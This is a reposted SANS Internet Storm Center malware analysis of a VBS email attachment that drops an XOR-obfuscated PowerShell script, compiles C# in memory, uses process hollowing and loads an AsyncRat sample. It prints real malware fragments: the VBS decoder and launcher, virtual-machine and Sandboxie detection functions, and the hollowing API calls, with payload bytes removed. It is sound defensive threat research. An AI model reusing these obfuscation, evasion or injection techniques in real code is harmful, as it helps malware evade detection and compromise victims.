From VBS, PowerShell, C Sharp, Process Hollowing to RAT, (Thu, Mar 4th)

VBS files are interesting to deliver malicious content to a victim’s computer because they look like simple text files. I found an interesting sample that behaves like a dropper. But it looks also like Russian dolls seeing all the techniques used to drop a RAT at the end. The file hash is 8697dc74d7c07583f24488926fc6e117975f8a9f014972073d19a5e62d248ead and has a VT score of 12/59[1]. It was delivered by email under the name “Procurement – Attached RFQ 202102.vbs”. If you filter attachments based on the MIME type, this file won’t be detected as suspicious:

[email protected]:/MalwareZoo/20210303$ file *.vbs
Procurement - Attached RFQ 202102.vbs: ASCII text, with very long lines, with CRLF line terminators

When you try to open a .vbs file on a standard Windows system, it is processed by the “Microsoft ® Windows Based Script Host” handlers. Here is the code executed when you open this script:

Private Function vQ(Inp, Key, Mode)
    Dim z, i, Position, cptZahl, orgZahl, keyZahl, cptString
    For i = 1 To lEn(Inp)
        Position = Position + 1
        If Position > lEn(Key) Then Position = 1
        keyZahl = aSc(Mid(Key, Position, 1))
        If Mode Then  
            orgZahl = aSc(Mid(Inp, i, 1))
            cptZahl = orgZahl Xor keyZahl
            cptString = hEx(cptZahl)
            If lEn(cptString)  lEn(Inp)  2 Then Exit For
            cptZahl = CByte("&" & "H" & Mid(Inp, i * 2 - 1, 2))
            orgZahl = cptZahl Xor keyZahl
            z = z & cHR(orgZahl)
        End If
    vQ = z
End Function

Dim AqUhNbgAqwpMb
AqUhNbgAqwpMb = "31562B0462222C4B781D323A2D1E1D4A2C4C39202E190F14112E3A1E0C432A5A454C1D392A1D1B5127260F22381E3D086E011F012E5B451B3F594B23031B217726535F5863201340205A593D28000E59003C3F173249335C144C493D4B234509370B044D5072585B17233B5F24703426190F7F363A1E2C2609173F552B09244B5C3E6C7D195D23136E015E2C501F0E5A453E314C34493D28331E507B394603242E526226063C291E0C08134726227F447D72334A3C1D3158532D3C4C7E754425390E0D7841200A0F0F03316A26505E3A413119576F141679085C2D5551445420325134502C1C1E5C0B153D131E3E41505D7303180A7F1F1F7D0E2D733E03126F215C7B794641334B58766C1A567E515B78093F0E0A540E7908027F05166B241E681C5379264B... (remaining bytes removed)

Dim SH
SH = cHR(80 + 7) & cHR(100 + 15) & cHR(66 + 1) & cHR(80 + 2) & cHR(110 - 5) & cHR(85 - 5) & cHR(80 + 4) & cHR(40 + 6) & cHR(230 / 2) & cHR(36 * 2) & cHR(60 + 9) & cHR(100 + 8) & cHR(70 + 6)
Set WS = CreateObject(SH)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = FSO.CreateTextFile(FSO.GetSpecialFolder(2) + "OS64Bits.PS1", True)
MyFile.WriteLine(rEPlAcE(vQ(AqUhNbgAqwpMb, "p2O)6[.X0sI^{p(@5wAC|/Gh]N{am}3+(rNY3]>UK|/2_YlCUfqK{hZL*.NawX9G>:x.I", False), "%VBS%", wscript.SCRIPTFULLNAME))
WS.rUN "POWERSHELL -eXEcUTiONpOLicY rEmOtEsIgNeD -FILE " & FSO.GetSpecialFolder(2) + "OS64Bits.PS1", 0

The payload is stored in AqUhNbgAqwpMb and decoded by the vQ().This function is an XOR-decoder using a muli-bytes key. The decoded payload is dropped on the filesystem (C:UsersAppDataLocalTempOS64Bits.PS1) and executed by PowerShell. This script looks interesting at multiple points.

First, most suspicious strings are obfuscated and binary encoded. Decoding is performed via a specific function:

Function Binary2String([String] $data) {
    $byteList = [System.Collections.Generic.List[Byte]]::new()
    for ($i = 0; $i -lt $data.Length; $i +=8) {
        $byteList.Add([Convert]::ToByte($data.Substring($i, 8), 2))
    return [System.Text.Encoding]::ASCII.GetString($byteList.ToArray())

There is a detection mechanism of virtual environments:

Function VirtualMachineDetector() {
    $searcher = (New-Object System.Management.ManagementObjectSearcher(Select * from Win32_ComputerSystem))
    $items = $searcher.Get()
    $Tr = ""
    foreach ($item in $items) {
        [String] $manufacturer = $item["Manufacturer"].ToString().ToLower()
        if (($manufacturer -eq "microsoft corporation" -and 
           $item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) -or 
           $manufacturer.Contains("vmware") -or $item["Model"].ToString() -eq "VirtualBox") {
             $Tr = "True"
        } else {
             $Tr = "False"
     return $Tr

Note also the presence of a function to detect Sandboxie[2], another sandbox tool that is easy to spot by tracking the DLL SbieDll.dll:

Function DetectSandboxie() {
    [Int32] $i = ModuleHandle("SbieDll.dll")
    [String] $s = ""
    if ($i -eq 0) {
        $s = "False"
    } else {
        $s = "True"
    return $s

 The most interesting function is CodeDom. It invokes the CSharp compiler to compile the next payload:

function CodeDom([Byte[]] $BB, [String] $TP, [String] $MT) {
    $dictionary = new-object 'System.Collections.Generic.Dictionary[[string],[string]]'
    $dictionary.Add(("CompilerVersion"), ("v4.0"))
    $CsharpCompiler = New-Object Microsoft.CSharp.CSharpCodeProvider($dictionary)
    $CompilerParametres = New-Object System.CodeDom.Compiler.CompilerParameters
    $CompilerParametres.IncludeDebugInformation = $false
    $CompilerParametres.GenerateExecutable = $false
    $CompilerParametres.GenerateInMemory = $true
    $CompilerParametres.CompilerOptions += ("/platform:X86 /unsafe /target:library")

    $BB = Decompress($BB)

    [System.CodeDom.Compiler.CompilerResults] $CompilerResults = 

    [Type] $T = $CompilerResults.CompiledAssembly.GetType($TP)

    [Byte[]] $Bytes =  Decompress(@( 
      (bytes removed)

    try {
        [String] $MyPt = 
        [Object[]] [email protected]($MyPt.Replace("Framework64","Framework") ,$Bytes)
        return $T.GetMethod($MT).Invoke($null, $Params)
    } catch { }

The CSharp code is located in the variable BB (I posted the code on Pastebin[3]). By having a look at the code, we can see a bunch of interesting API calls:

private static readonly DelegateVirtualAllocEx VirtualAllocEx = LoadApi(ReverseString(Kernel32), ReverseString(VirtualAllcEx)); 
private static readonly DelegateWriteProcessMemory WriteProcessMemory = LoadApi(ReverseString(Kernel32), ReverseString(WriteProcessMem)); 
private static readonly DelegateReadProcessMemory ReadProcessMemory = LoadApi(ReverseString(Kernel32), ReverseString(ReadProcessMem)); 
private static readonly DelegateZwUnmapViewOfSection ZwUnmapViewOfSection = LoadApi(ReverseString(ntdll), ReverseString(ZwUnmapViewOfSec)); 
private static readonly DelegateCreateProcessA CreateProcessA = LoadApi(ReverseString(Kernel32), ReverseString(CreateProcA));

This clearly indicates that process hollowing is used to replace the code of a legit process with malicious code. This code is located in the variable Bytes and is a PE file (SHA256:D452CEE94E3A2D58B05E9F62A4AA4004C0632D9B56FA8B57664D295BC88C4DF0) that tries to communicate with a C2 server located at on port 8989. The malware belongs to the AsyncRat[4] family. 

Note: My advice to protect yourself against such malicious .vbs file is to replace the default app to open them with notepad.exe. 


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) ↓